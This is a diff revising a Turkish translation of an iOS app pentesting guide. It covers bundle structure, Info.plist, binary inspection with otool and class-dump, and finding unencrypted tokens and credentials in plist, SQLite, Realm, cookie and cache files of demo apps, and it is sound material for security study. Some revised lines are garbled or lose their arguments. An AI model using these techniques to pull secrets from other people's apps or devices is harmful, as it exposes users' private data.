+* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur.
+* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir.
* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
-* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırmayı kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
-* **Framework'ler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere yeniden kullanılabilir kod kitaplıklarını (`Frameworks/`) ve uygulama işlevselliğini genişletmelerini (`PlugIns/`) sağlar.
-* **Yerelleştirme**: Yapı, birden çok dil için desteklenen kaynakları içererek küresel uygulama erişimini kolaylaştırır.
+* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
+* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphanelerini (`Frameworks/`) içermelerine ve uygulama işlevselliğini genişletmelerine (`PlugIns/`) olanak tanır.
+* **Yerelleştirme**: Yapı, özel dil paketleri için kaynakları içererek çoklu dilleri destekler, böylece belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır.
**Info.plist**
-**Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri şeklindeki önemli yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar önemli bilgileri içerir. Mevcut anahtarlar hakkında ayrıntılı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) başvurulabilir.
+**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, ana yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
-Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta `plutil` (sürüm 10.2 ve sonraki sürümlerde doğal olarak mevcut) veya Linux'ta `plistutil` kullanılarak kolayca gerçekleştirilebilir. Dönüşüm için kullanılan komutlar aşağıdaki gibidir:
+Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır:
-- **macOS için**:
+* **macOS için**:
```bash
$ plutil -convert xml1 Info.plist
```
-- **Linux için**:
+* **Linux için**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-**Info.plist** dosyasının ifşa edebileceği bilgiler arasında, dikkate değer girişler arasında uygulama izin dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunur. Bu girişler, diğerleriyle birlikte (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) dışa aktarılan / içe aktarılan özel belge türleri gibi, dosyanın incelenmesi veya basit bir `grep` komutu kullanılarak kolayca bulunabilir:
+**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `grep` komutunu kullanarak dosyayı inceleyerek veya basit bir şekilde yerini tespit edebilir.
```bash
$ grep -i Info.plist
```
**Veri Yolları**
-iOS ortamında, dizinler özel olarak **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu nedenle dizin adlarının rastgele olması nedeniyle bir uygulamanın klasörünü manuel olarak bulmak zor olabilir.
+iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak rastgele dizin adlarından dolayı zor olabilir.
-Bir kullanıcı tarafından yüklenen uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı**, `env` adlı kullanışlı bir komut sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek verilmiştir:
+Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@@ -225,7 +225,7 @@ Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/conta
```bash
find /private/var/containers -name "Progname*"
```
-`ps` ve `lsof` gibi komutlar, uygulamanın sürecini belirlemek ve açık dosyaları listelemek için kullanılabilir. Bu komutlar, uygulamanın etkin dizin yolları hakkında bilgi sağlar:
+Komutlar `ps` ve `lsof` ayrıca uygulamanın işlemini tanımlamak ve sırasıyla açık dosyaları listelemek için kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
```bash
ps -ef | grep -i
lsof -p | grep -i "/containers" | head -n 1
@@ -233,43 +233,43 @@ lsof -p | grep -i "/containers" | head -n 1
**Paket dizini:**
* **AppName.app**
-* Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi'dir ve temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikili dosyasını içerir.
-* Bu dizin kullanıcılara görünür, ancak **kullanıcılar buraya yazamaz**.
+* Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi olup, temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikilisini içerir.
+* Bu dizin kullanıcılara görünür, ancak **kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**.
-* Bu klasörün içeriği, kod imzasını **doğrulamak** için kullanılır.
+* Bu klasörün içeriği kod imzasını **doğrulamak** için kullanılır.
**Veri dizini:**
* **Documents/**
-* Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
-* Kullanıcılara görünür ve **kullanıcılar buraya yazabilir**.
+* Tüm kullanıcı tarafından oluşturulan verileri içerir. Uygulama son kullanıcı bu verilerin oluşturulmasını başlatır.
+* Kullanıcılara görünür ve **kullanıcılar yazabilir**.
* Bu dizindeki içerik **yedeklenir**.
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/**
-* Kullanıcıya özgü olmayan tüm dosyaları içerir, örneğin önbellekler, tercihler, çerezler ve özellik listesi (plist) yapılandırma dosyaları.
+* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi.
* iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
* **Library/Caches/**
-* Yarı kalıcı önbelleğe alınmış dosyaları içerir.
-* Kullanıcılara görünmez ve **kullanıcılar buraya yazamaz**.
+* **Yarı kalıcı önbellek dosyalarını** içerir.
+* Kullanıcılara **görünmez ve kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
* **Library/Application Support/**
-* Uygulamanın çalışması için gerekli olan **kalıcı dosyaları** içerir.
-* Kullanıcılara **görünmez** ve kullanıcılar buraya yazamaz.
+* Uygulamanın çalıştırılması için gerekli olan **kalıcı dosyaları** içerir.
+* Kullanıcılara **görünmez ve kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenir**.
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/Preferences/**
-* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olarak saklanabilen** özellikleri depolamak için kullanılır.
-* Bilgiler, şifrelenmemiş olarak, uygulama sandbox'ının içinde \[BUNDLE\_ID].plist adlı bir plist dosyasında kaydedilir.
+* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır.
+* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir.
* `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
* **tmp/**
-* Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyaları** yazmak için bu dizini kullanın.
-* Kalıcı olmayan önbelleğe alınmış dosyaları içerir.
+* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın.
+* Kalıcı olmayan önbellek dosyalarını içerir.
* Kullanıcılara **görünmez**.
* Bu dizindeki içerik yedeklenmez.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
-İGoat-Swift'in Paket Dizini (.app) dizinine, Bundle dizini içindeki (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) bir göz atalım:
+iGoat-Swift'in Uygulama Paketi (.app) dizinine (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) daha yakından bakalım:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@@ -285,7 +285,7 @@ Regular 420 None ... README.txt
```
### Binary Tersine Mühendislik
-`.app` klasörü içinde `` adında bir ikili dosya bulacaksınız. Bu dosya **çalıştırılacak** olan dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla yapabilirsiniz:
+`.app` klasörü içinde `` adında bir ikili dosya bulacaksınız. Bu dosya **çalıştırılacak** dosyadır. İkili dosyayı temel bir inceleme yapmak için **`otool`** aracını kullanabilirsiniz:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@@ -299,15 +299,15 @@ DVIA-v2:
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
-**Uygulama şifreli mi kontrol edin**
+**Uygulamanın şifrelenip şifrelenmediğini kontrol edin**
-Aşağıdaki komutu kullanarak herhangi bir çıktı olup olmadığını kontrol edin:
+Aşağıdaki komutu kullanarak çıktı olup olmadığını kontrol edin:
```bash
otool -l | grep -A 4 LC_ENCRYPTION_INFO
```
-**Binary dosyasının disassembling işlemi**
+**Binary dosyasının ayrıştırılması**
-Metin bölümünü disassemble edin:
+Metin bölümünü ayrıştırın:
```bash
otool -tV DVIA-v2
DVIA-v2:
@@ -321,7 +321,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
-Örnek uygulamanın **Objective-C segmentini** yazdırmak için şunu kullanabilirsiniz:
+**Örnek uygulamanın Objective-C segmentini** yazdırmak için şunu kullanabilirsiniz:
```bash
otool -oV DVIA-v2
DVIA-v2:
@@ -335,7 +335,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
-Daha kompakt bir Objective-C kod elde etmek için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz:
+Kodun daha kompakt hale gelmesi için [**class-dump**](http://stevenygard.com/projects/class-dump/) kullanabilirsiniz:
```bash
class-dump some-app
//
@@ -361,71 +361,68 @@ double _field1;
double _field2;
};
```
-Ancak, ikili dosyayı parçalamak için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
+Ancak, binary dosyasını çözmek için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Veri Depolama
-iOS'un cihazda veri depolama şekli hakkında bilgi edinmek için bu sayfayı okuyun:
+iOS'un cihazda veri depolama hakkında bilgi edinmek için bu sayfayı okuyun:
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
{% hint style="warning" %}
-Bilgilerin depolanabileceği aşağıdaki yerler, uygulama **kurulduktan hemen sonra**, uygulamanın **tüm işlevlerini kontrol ettikten sonra** ve hatta **bir kullanıcıdan çıkış yapıp başka bir kullanıcıya giriş yaptıktan sonra** kontrol edilmelidir.\
+Uygulama **kurulduktan hemen sonra**, uygulamanın tüm işlevleri kontrol edildikten sonra ve hatta **bir kullanıcıdan çıkıp farklı bir kullanıcıya giriş yapıldıktan sonra** bilgi depolama yerleri kontrol edilmelidir.\
Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve önceki oturum açmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
{% endhint %}
### Plist
-**plist** dosyaları, **anahtar-değer çiftlerini içeren** yapılandırılmış XML dosyalarıdır. Bu dosyalarda bazen **hassas bilgiler bulabilirsiniz**. Yeni veri yazılıp yazılmadığını görmek için uygulamayı kurduktan ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmek önerilir.
+**plist** dosyaları, **anahtar-değer çiftlerini içeren yapılandırılmış XML dosyalarıdır**. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Bu dosyaların, uygulamayı yükledikten ve yoğun bir şekilde kullandıktan sonra kontrol edilmesi önerilir.
-Plist dosyalarında verileri kalıcı olarak depolamanın en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, **`Library/Preferences/.plist`** dizininde uygulama sandbox'ının içinde kaydedilir.
+Plist dosyalarında veri saklamanın en yaygın yolu, **NSUserDefaults**'un kullanılmasıdır. Bu plist dosyası, **`Library/Preferences/.plist`** içinde uygulama sandbox'ında kaydedilir.
-[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşimde bulunmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihlerine** göre davranışını özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler uygulama paketi içinde görüntülenebilir. Bu sınıf, verileri bir plist dosyasında saklar, ancak küçük miktarda veriyle kullanılması amaçlanmıştır.
+[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın davranışını **kullanıcı tercihlerine** göre özelleştirmesine izin verir. `NSUserDefaults` tarafından kaydedilen veriler, uygulama paketinde görüntülenebilir. Bu sınıf, **veriyi** bir **plist** **dosyasında** saklar, ancak küçük miktarlarda veriyle kullanılması amaçlanmıştır.
-Bu verilere doğrudan güvenilir bir bilgisayar üzerinden erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
+Bu verilere doğrudan güvenilir bir bilgisayardan erişilemez, ancak bir **yedekleme** yaparak erişilebilir.
-`NSUserDefaults` kullanarak kaydedilen bilgileri objection'ın `ios nsuserdefaults get` komutunu kullanarak **dökümleyebilirsiniz**.
+`NSUserDefaults` kullanılarak kaydedilen bilgileri **`NSUserDefaults`** kullanarak çözebilirsiniz.
-Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve aşağıdaki komutu çalıştırabilirsiniz:
+Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` dizinine erişebilir ve şunu çalıştırabilirsiniz:
```bash
find ./ -name "*.plist"
```
-**XML veya ikili (bplist)** formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:
+**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
-**MacOS Kullanıcıları İçin:**
-`plutil` komutunu kullanın. Bu, macOS (10.2+) için yerleşik bir araçtır ve bu amaçla tasarlanmıştır:
+**MacOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu amaçla tasarlanmış olan macOS'ta (10.2+), yerleşik bir araçtır.
```bash
$ plutil -convert xml1 Info.plist
```
-**Linux Kullanıcıları İçin:**
-Öncelikle `libplist-utils`'u yükleyin, ardından dosyanızı dönüştürmek için `plistutil` kullanın:
+**Linux Kullanıcıları için:** İlk olarak `libplist-utils`'ı yükleyin, ardından dosyanızı dönüştürmek için `plistutil`'ı kullanın:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-**Bir Objection Oturumu İçinde:**
-Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut bulunmaktadır:
+**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için belirli bir komut, plist dosyalarını doğrudan dönüştürmenize olanak tanır:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist
```
### Core Data
-[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1), uygulamanızın model katmanını yönetmek için bir çerçevedir. Core Data, kalıcı depolama olarak SQLite'yi kullanabilir, ancak çerçeve kendisi bir veritabanı değildir.\
-CoreData, varsayılan olarak verilerini şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı ekleyebilirsiniz. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın.
+[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite'i kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
+CoreData, verilerini varsayılan olarak şifrelemez. Bununla birlikte, CoreData'ye ek bir şifreleme katmanı ekleyebilirsiniz. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data)'ya bakın.
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
-**Eğer SQLite'yi açabilir ve hassas bilgilere erişebilirseniz, bir yapılandırma hatası buldunuz demektir.**
+**Eğer SQLite'i açabilir ve hassas bilgilere erişebilirseniz, yanlış yapılandırmayı buldunuz demektir.**
{% code title="iGoat'tan Kod" %}
```objectivec
@@ -456,19 +453,19 @@ NSLog(@"data stored in core data");
### YapDatabase
[YapDatabase](https://github.com/yapstudios/YapDatabase), SQLite üzerine inşa edilmiş bir anahtar/değer deposudur.\
-Yap veritabanları sqlite veritabanları olduğu için, önceki bölümde önerilen komutu kullanarak onları bulabilirsiniz.
+Yap veritabanları sqlite veritabanları olduğundan, bunları önceki bölümde belirtilen amaçlı komutu kullanarak bulabilirsiniz.
### Diğer SQLite Veritabanları
-Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veriler** saklanabilir ve şifrelenmeden bırakılabilir. Bu nedenle, her uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginç olabilir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
+Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı veriler** saklayabilir ve bunları şifrelememiş olarak bırakabilirler. Bu nedenle, her veritabanını uygulamanın dizininde kontrol etmek her zaman ilginç olacaktır. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`).
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Gerçek Zamanlı Veritabanları
-Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla bir NoSQL bulut barındırılan veritabanında veri depolama ve senkronizasyonu imkanı sunulmaktadır. Veri JSON formatında depolanır ve gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
+Geliştiricilere Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyonu** imkanı sunulmaktadır. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
-Firebase veritabanlarının yanlış yapılandırılmış olup olmadığını nasıl kontrol edeceğinizi burada bulabilirsiniz:
+Firebase veritabanlarında yanlış yapılandırılmış veritabanlar için nasıl kontrol yapılacağını buradan bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@@ -476,9 +473,9 @@ Firebase veritabanlarının yanlış yapılandırılmış olup olmadığını na
### Realm veritabanları
-[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmemiş olarak depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanır.
+[Realm Objective-C](https://realm.io/docs/objc/latest/) ve [Realm Swift](https://realm.io/docs/swift/latest/) Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunar. Varsayılan olarak, veriler şifrelenmeden depolanır ve şifreleme belirli yapılandırmalar aracılığıyla sağlanabilir.
-Veritabanları `/private/var/mobile/Containers/Data/Application/{APPID}` konumunda bulunur. Bu dosyaları keşfetmek için aşağıdaki gibi komutlar kullanılabilir:
+Veritabanları şurada bulunur: `/private/var/mobile/Containers/Data/Application/{APPID}`. Bu dosyaları keşfetmek için şu gibi komutlar kullanılabilir:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@@ -501,18 +498,18 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Veritabanları
-[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı izler. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin sorunsuz bir şekilde senkronize edilmesini sağlar.
+[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **yerleşik** bir veritabanı motoru olarak tanımlanmaktadır ve **belge odaklı** (NoSQL) yaklaşımı benimsemektedir. **iOS** ve **macOS** için yerel olarak tasarlanmış olup, verilerin senkronizasyonunu sorunsuz bir şekilde sağlar.
-Bir cihazda potansiyel Couchbase veritabanlarını belirlemek için aşağıdaki dizin incelenmelidir:
+Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### Çerezler
-iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** dosyasında saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlıkta** saklamayı tercih eder, çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**.
+iOS, uygulamaların çerezlerini her uygulamanın klasörü içindeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Bununla birlikte, geliştiriciler bazen bu çerezleri **anahtarlık** içinde saklamayı tercih eder çünkü bahsi geçen **çerez dosyasına yedeklerden erişilebilir**.
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
-Bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.
+**Ayrıca objection'ı kullanarak** bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
@@ -530,31 +527,31 @@ Bu dosyaları JSON formatına dönüştürmek ve verileri incelemek için object
```
### Önbellek
-NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa, **hassas verileri** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini (`/var/mobile/Containers/Data/Application/`) açın ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db dosyasında saklanır**. **Objection**, bu veritabanını `sqlite connect Cache.db` komutuyla açabilir ve etkileşimde bulunabilir, çünkü bu normal bir SQLite veritabanıdır.
+NSURLSession varsayılan olarak **HTTP isteklerini ve yanıtlarını Cache.db veritabanında** saklar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka hassas bilgiler önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/`) gidin ve `/Library/Caches/` yolunu izleyin. **WebKit önbelleği de Cache.db dosyasında saklanmaktadır**. **Objection**, bu dosyayla `sqlite connect Cache.db` komutuyla etkileşime girebilir, çünkü bu **normal bir SQLite veritabanıdır**.
-İstek veya yanıtta hassas bilgiler bulunabileceğinden, bu verilerin **önbelleğe alınmaması önerilir**. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
+Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
-1. Oturum kapatıldıktan sonra önbelleğe alınmış yanıtların kaldırılması önerilir. Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
+1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
- `URLCache.shared.removeAllCachedResponses()`
+`URLCache.shared.removeAllCachedResponses()`
- Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınmış istekleri ve yanıtları kaldıracaktır.
-2. Çerezlerin avantajını kullanmanız gerekmiyorsa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir. Bu, çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır.
+Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır.
+2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır.
- [Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
